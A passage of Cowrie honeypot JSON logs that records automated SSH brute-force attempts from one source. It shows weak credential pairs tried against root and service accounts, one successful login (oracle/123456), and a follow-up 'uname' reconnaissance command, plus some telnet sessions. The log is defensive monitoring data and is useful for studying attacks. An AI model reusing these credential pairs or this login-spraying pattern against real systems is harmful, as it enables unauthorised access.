{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:53.131961Z","src_ip":"45.156.87.254","session":"32e2591cc47a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:53.210521Z","src_ip":"45.156.87.254","session":"32e2591cc47a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:53.533887Z","src_ip":"45.156.87.254","session":"32e2591cc47a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:54.622981Z","src_ip":"45.156.87.254","session":"32e2591cc47a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56440,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd61c4a7d041","protocol":"ssh","message":"New connection: 45.156.87.254:56440 (159.203.135.109:22) [session: bd61c4a7d041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:58.557271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:58.562694Z","src_ip":"45.156.87.254","session":"bd61c4a7d041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:58.645992Z","src_ip":"45.156.87.254","session":"bd61c4a7d041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:58.909058Z","src_ip":"45.156.87.254","session":"bd61c4a7d041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:00.075098Z","src_ip":"45.156.87.254","session":"bd61c4a7d041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56442,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ed23a83e696","protocol":"ssh","message":"New connection: 45.156.87.254:56442 (159.203.135.109:22) [session: 7ed23a83e696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:03.988730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:03.999295Z","src_ip":"45.156.87.254","session":"7ed23a83e696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:04.089226Z","src_ip":"45.156.87.254","session":"7ed23a83e696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:04.353712Z","src_ip":"45.156.87.254","session":"7ed23a83e696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:05.442592Z","src_ip":"45.156.87.254","session":"7ed23a83e696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.050452709197998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:05.694698Z","src_ip":"104.245.105.2","session":"4e2de2013815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35374,"dst_ip":"159.203.135.109","dst_port":22,"session":"c035de65eac7","protocol":"ssh","message":"New connection: 45.156.87.254:35374 (159.203.135.109:22) [session: c035de65eac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:09.501051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:09.507100Z","src_ip":"45.156.87.254","session":"c035de65eac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:09.592809Z","src_ip":"45.156.87.254","session":"c035de65eac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:10.073791Z","src_ip":"45.156.87.254","session":"c035de65eac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:11.162073Z","src_ip":"45.156.87.254","session":"c035de65eac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87272596359253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:12.681311Z","src_ip":"104.245.105.2","session":"49a30dbaf444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35398,"dst_ip":"159.203.135.109","dst_port":22,"session":"600cbbc9ecad","protocol":"ssh","message":"New connection: 45.156.87.254:35398 (159.203.135.109:22) [session: 600cbbc9ecad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:15.040382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:15.142083Z","src_ip":"45.156.87.254","session":"600cbbc9ecad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:15.146571Z","src_ip":"45.156.87.254","session":"600cbbc9ecad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:15.513842Z","src_ip":"45.156.87.254","session":"600cbbc9ecad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:16.601192Z","src_ip":"45.156.87.254","session":"600cbbc9ecad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50732,"dst_ip":"159.203.135.109","dst_port":22,"session":"a37abb153901","protocol":"ssh","message":"New connection: 45.156.87.254:50732 (159.203.135.109:22) [session: a37abb153901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:20.325656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:20.356967Z","src_ip":"45.156.87.254","session":"a37abb153901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:20.411823Z","src_ip":"45.156.87.254","session":"a37abb153901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:20.746496Z","src_ip":"45.156.87.254","session":"a37abb153901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:21.834244Z","src_ip":"45.156.87.254","session":"a37abb153901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40668,"dst_ip":"10.17.0.5","dst_port":23,"session":"d425cbc09f00","protocol":"telnet","message":"New connection: 104.245.105.2:40668 (10.17.0.5:23) [session: d425cbc09f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:24.791518Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50760,"dst_ip":"159.203.135.109","dst_port":22,"session":"26dd90490771","protocol":"ssh","message":"New connection: 45.156.87.254:50760 (159.203.135.109:22) [session: 26dd90490771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:25.872086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:25.878212Z","src_ip":"45.156.87.254","session":"26dd90490771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:25.962693Z","src_ip":"45.156.87.254","session":"26dd90490771","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:26.244112Z","src_ip":"45.156.87.254","session":"26dd90490771","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:26.472378Z","src_ip":"45.156.87.254","session":"26dd90490771","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:26.476889Z","src_ip":"45.156.87.254","session":"26dd90490771","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:26.571666Z","src_ip":"45.156.87.254","session":"26dd90490771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:26.577379Z","src_ip":"45.156.87.254","session":"26dd90490771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":34872,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfb380cfb554","protocol":"telnet","message":"New connection: 20.123.41.163:34872 (10.17.0.5:23) [session: cfb380cfb554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:29.016848Z"}
{"eventid":"cowrie.session.closed","duration":41.726274728775024,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:29.864430Z","src_ip":"104.245.105.2","session":"5c0e986d9ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.402424573898315,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:30.460956Z","src_ip":"20.123.41.163","session":"06c20975c195","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.45747423171997,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:31.097748Z","src_ip":"20.123.41.163","session":"d43531f3ac8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55210,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbe4d73a2b7c","protocol":"ssh","message":"New connection: 45.156.87.254:55210 (159.203.135.109:22) [session: cbe4d73a2b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:31.469805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:31.474641Z","src_ip":"45.156.87.254","session":"cbe4d73a2b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-